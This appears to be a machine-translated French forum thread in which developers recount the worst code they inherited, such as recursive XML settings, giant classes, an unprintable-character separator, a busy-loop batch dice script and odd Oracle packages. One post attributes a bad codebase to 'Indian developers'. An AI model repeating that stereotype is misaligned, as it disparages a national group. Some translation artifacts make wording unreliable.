SQL interroge juste là en javascript dans une application ASP. Impossible d'obtenir plus sale ...
Nous avions une application qui chargeait tout son état global dans un fichier xml. Aucun problème avec cela, sauf que le développeur avait créé une nouvelle forme de récursivité.
<settings>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
<name>...</name>
<value>...</value>
<property>
Puis vient la partie amusante. Lorsque l'application se charge, elle parcourt la liste des propriétés et les ajoute à une liste globale (plate), avec incrémentation d'un compteur mystère. Le compteur de mystère est nommé quelque chose de totalement hors de propos et est utilisé dans les calculs de mystère:
List properties = new List();
Node<-root
while node.hasNode("property")
add to properties list
my_global_variable++;
if hasNode("property")
node=getNode("property"), ... etc etc
Et puis vous obtenez des fonctions comme
calculateSumOfCombinations(int x, int y){
return x+y+my_global_variable;
}
edit: clarification - Cela m'a pris beaucoup de temps pour comprendre qu'il comptait la profondeur de la récursivité, car au niveau 6 ou 7, les propriétés ont changé de sens, alors il utilisait le compteur pour diviser son ensemble plat en 2 ensembles de types différents , un peu comme avoir une liste de STATE, STATE, STATE, CITY, CITY, CITY et vérifier si l'index> compteur pour voir si votre nom est une ville ou un état)
Au lieu d'écrire un service Windows pour un processus serveur qui devait s'exécuter en permanence, l'un de nos "architectes" a écrit une application console et a utilisé le planificateur de tâches pour l'exécuter toutes les 60 secondes.
Gardez à l'esprit que c'est dans .NET où les services sont très faciles à créer.
-
En outre, au même endroit, une application console a été utilisée pour héberger un service distant .NET, ils ont donc dû démarrer l'application console et verrouiller une session pour la maintenir en marche à chaque redémarrage du serveur.
-
Au dernier endroit où j'ai travaillé, l'un des architectes avait un fichier de code source nique C # avec plus de 100 classes d'une taille d'environ 250K.
Dans un ancien lieu de travail, nous avons hérité d'un projet hérité, qui avait été partiellement abandonné plus tôt. L'application principale était Java, la partie externalisée était une bibliothèque C native. Une fois, j'ai jeté un œil aux fichiers source C. J'ai répertorié le contenu du répertoire. Il y avait plusieurs fichiers source de plus de 200 Ko. Le plus gros fichier C était 600 Ko.
Dieu merci, je n'ai jamais eu à les toucher :-)
32 fichiers de code source avec plus de 10 000 lignes de code chacun. Chacun contenait une classe. Chaque classe contenait une méthode qui faisait "tout"
C'était un vrai cauchemar pour le débogage de ce code avant de devoir le refactoriser.
On m'a donné un ensemble de programmes pour avancer pendant que des collègues étaient à l'étranger chez un client (installation desdits programmes). Une bibliothèque de clés est apparue dans chaque programme, et en essayant de comprendre le code, j'ai réalisé qu'il y avait de minuscules différences d'un programme à l'autre. Dans une bibliothèque commune.
En réalisant cela, j'ai exécuté une comparaison textuelle de toutes les copies. Sur 16, je pense qu'il y en avait environ 9 uniques. J'ai jeté un peu de crise.
Le patron est intervenu et a demandé aux collègues de collationner une version apparemment universelle. Ils ont envoyé le code par e-mail. À mon insu, il y avait des chaînes avec des caractères non imprimables et quelques encodages mixtes. L'e-mail l'a mal interprété.
Les caractères non imprimables ont été utilisés pour envoyer des données (toutes les chaînes!) D'un serveur à un client. Toutes les chaînes ont ainsi été séparées par le caractère 0x03 côté serveur et réassemblées côté client en C # à l'aide de la fonction Split.
La façon la plus sensée aurait été de faire:
someVariable.Split(Convert.ToChar(0x03);
La manière la plus saine et la plus conviviale aurait été d'utiliser une constante:
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
La manière EVIL était ce que mes collègues ont choisi: utiliser ce que "imprime" pour 0x03 dans Visual Studio et le mettre entre guillemets:
someVariable.Split('/*unprintable character*/');
De plus, dans cette bibliothèque (et tous les programmes associés), aucune variable n'était locale (j'ai vérifié!). Les fonctions ont été conçues soit pour récupérer les mêmes variables une fois qu'il a été jugé sûr de les gaspiller, soit pour en créer de nouvelles qui subsisteraient pendant toute la durée du processus. J'ai imprimé plusieurs pages et les ai codées par couleur. Jaune signifiait "global, jamais changé par une autre fonction", rouge signifiait "global, changé par plusieurs". Le vert aurait été "local", mais il n'y en avait pas.
Oh, ai-je mentionné la version de contrôle? Parce que bien sûr il n'y en avait pas.
AJOUTER: Je viens de me souvenir d'une fonction que j'ai découverte il n'y a pas longtemps.
Son but était de passer par un tableau de tableaux d'intergres, et de mettre chaque premier et dernier élément à 0. Cela se passait comme ceci (pas le code réel, de la mémoire, et plus C # -esque):
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
Bien sûr, le fait était que chaque sous-tableau devait faire cela, les deux opérations, sur tous les éléments. Je ne sais pas comment un programmeur peut décider de quelque chose comme ça.
Je pense que c'était un programme qui a chargé une boucle dans les registres à usage général d'un pdp-10 et a ensuite exécuté le code dans ces registres.
Vous pouvez le faire sur un pdp-10. Cela ne veut pas dire que vous devriez.
EDIT: au moins c'est au mieux de mes souvenirs (parfois assez minable).
Similaire à ce que quelqu'un d'autre a mentionné ci-dessus:
J'ai travaillé dans un endroit qui avait un langage de pseudo-scripting dans l'application. Il a alimenté une méthode massive qui avait environ 30 paramètres et un géant Select Case
déclaration.
Il était temps d'ajouter plus de paramètres, mais le gars de l'équipe qui devait le faire s'est rendu compte qu'il y en avait déjà trop.
Sa solution?
Il a ajouté un seul paramètre object
à la fin, afin qu'il puisse passer tout ce qu'il voulait, puis le diffuser.
Je n'ai pas pu sortir de cet endroit assez vite.
Entre autres choses que j'ai trouvées dans un projet que j'ai rejoint, j'ai trouvé ce morceau de diamant:
newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');
J'ai eu le grand malheur d'être impliqué dans la recherche d'un comportement assez insensé dans une solution de haute disponibilité de base de données semi-personnalisée.
Les bits de base étaient banals. Red Hat Enterprise Linux, MySQL, DRBD et les trucs Linux-HA. La configuration, cependant, a été maintenue par un système de marionnettes complètement personnalisé (sans surprise, il existe de nombreux autres exemples de folie résultant de ce système).
Il s'avère que le système vérifiait le install.log
fichier que Kickstart laisse dans le répertoire racine pour une partie des informations nécessaires à la création de la configuration DRBD. Bien sûr, cela est mauvais en soi. Vous ne tirez pas la configuration d'un fichier journal dont le format n'est pas réellement défini. Mais ça empire.
Il ne stockait ces données nulle part ailleurs, et chaque fois qu'il s'exécutait, soit toutes les 60 secondes, il consultait install.log
.
Je vais juste vous laisser deviner ce qui s'est passé la première fois que quelqu'un a décidé de supprimer ce fichier journal sinon inutile.
Une fois que nos équipes clientes ont signalé des problèmes étranges, nous avons remarqué que deux versions différentes de l'application pointaient vers la même base de données. (lors du déploiement du nouveau système sur eux, leur base de données a été mise à niveau, mais tout le monde a oublié de faire tomber son ancien système)
Ce fut une évasion miracle ..
Et depuis lors, nous avons un processus de construction et de déploiement automatisé, heureusement :-)
Un gars a écrit un programme de traitement par lots pour générer des nombres aléatoires en fonction des côtés de la matrice sur mon ordinateur, pensait que je le partagerais.
@echo off
set SIDES=6
:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)
echo %BUF%
pause
goto start
Fait le boulot mais devinez à quel point c'est lent ...
Un gars avec qui je travaillais a écrit une application MS Access qui se connectait à environ 10 autres bases de données d'accès qui traitaient la paie pour une entreprise du Fortune 500. Au dernier contrôle, il y avait environ 70 000 employés là-bas et il était encore utilisé ...
Très peu d'erreur de vérification dans le code, désagréable à regarder, pire à dépanner. Nous avons continué à maximiser les bases de données d'accès, nous avons donc dû les nettoyer tous les deux mois.
Oui, je sais que ce n'est pas un segment de code. Seuls les 3 faits de MS Access, de la paie et de Fortune 500 le constituent comme un mal. Très mal. Je souhaite que je plaisantais.
J'ai travaillé avec des choses similaires écrites par des développeurs indiens. Forme principale géante, vars mondiaux, etc. Heureusement, mon patron, après beaucoup de travail acharné, a pu réduire considérablement ce gâchis. Mais quand même, je détestais travailler avec cette application. Malheureusement, c'était une application mathématique et certains de ces gars indiens étaient bons en mathématiques, nous avons donc dû réparer l'application, pas la réécrire.
Pour moi, le pire était la lenteur incroyable de Visual Studio + ReSharper sur la forme avec 20000 lignes. Si vous désactivez ReSharper, c'est gérable, mais vous ne pouvez pas refactoriser cette merde si rapidement.
À partir d'un package Oracle dans notre entreprise commission calc application (avant de le reconstruire à partir de zéro)
CREATE OR REPLACE PACKAGE BODY Const AS
FUNCTION Basisprov_offen
RETURN INT
IS
BEGIN
RETURN 4;
END;
FUNCTION Basisprov_offen_s
RETURN VARCHAR
IS
BEGIN
RETURN Const.Basisprov_offen || '';
END;
/* ... a lot more creepy stuff ... */
END Const;
Et dans un package différent pour la même application
...
INSERT INTO Texpkorr
SELECT
Stammnummer,
Nummer,
Artikelnummer,
GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
Exportart
FROM Provaltbv, Texp
...
Il y a des années, j'avais rejoint une entreprise de récompenses de fidélité multi-entreprises où elles atteignaient la production. Ce qui aurait dû être une évaluation rapide et apprendre à connaître le biz, s'est avéré révéler et diriger des correctifs critiques à certains désordre:
N'oubliez pas, même si ce sont des points de récompense, c'est de l'argent vous pourriez dépenser à peu près n'importe quoi: nourriture, cinémas, vols, pharmacie, pour n'en nommer que quelques-uns.
Voici un code maléfique: http://code.google.com/p/google-caja/wiki/AttackVectors